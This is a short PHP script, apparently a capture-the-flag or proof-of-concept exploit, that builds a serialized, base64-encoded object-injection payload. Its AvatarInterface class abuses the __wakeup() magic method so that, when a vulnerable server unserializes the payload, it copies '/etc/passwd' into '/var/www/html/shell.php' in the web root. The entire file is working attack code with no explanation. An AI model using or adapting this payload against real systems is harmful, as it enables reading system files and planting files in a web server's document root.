30 lines
565 B
PHP
30 lines
565 B
PHP
<?php
|
|
|
|
class Avatar {
|
|
public $imgPath;
|
|
|
|
public function __construct($imgPath) {
|
|
$this->imgPath = $imgPath;
|
|
}
|
|
|
|
public function save($tmp) {
|
|
$f = fopen($this->imgPath, "w");
|
|
fwrite($f, file_get_contents($tmp));
|
|
fclose($f);
|
|
}
|
|
}
|
|
|
|
class AvatarInterface {
|
|
public $tmp = "/etc/passwd";
|
|
public $imgPath = "/var/www/html/shell.php";
|
|
|
|
public function __wakeup() {
|
|
$a = new Avatar($this->imgPath);
|
|
$a->save($this->tmp);
|
|
}
|
|
}
|
|
|
|
$a = new AvatarInterface();
|
|
echo base64_encode(serialize($a));
|
|
|
|
?>
|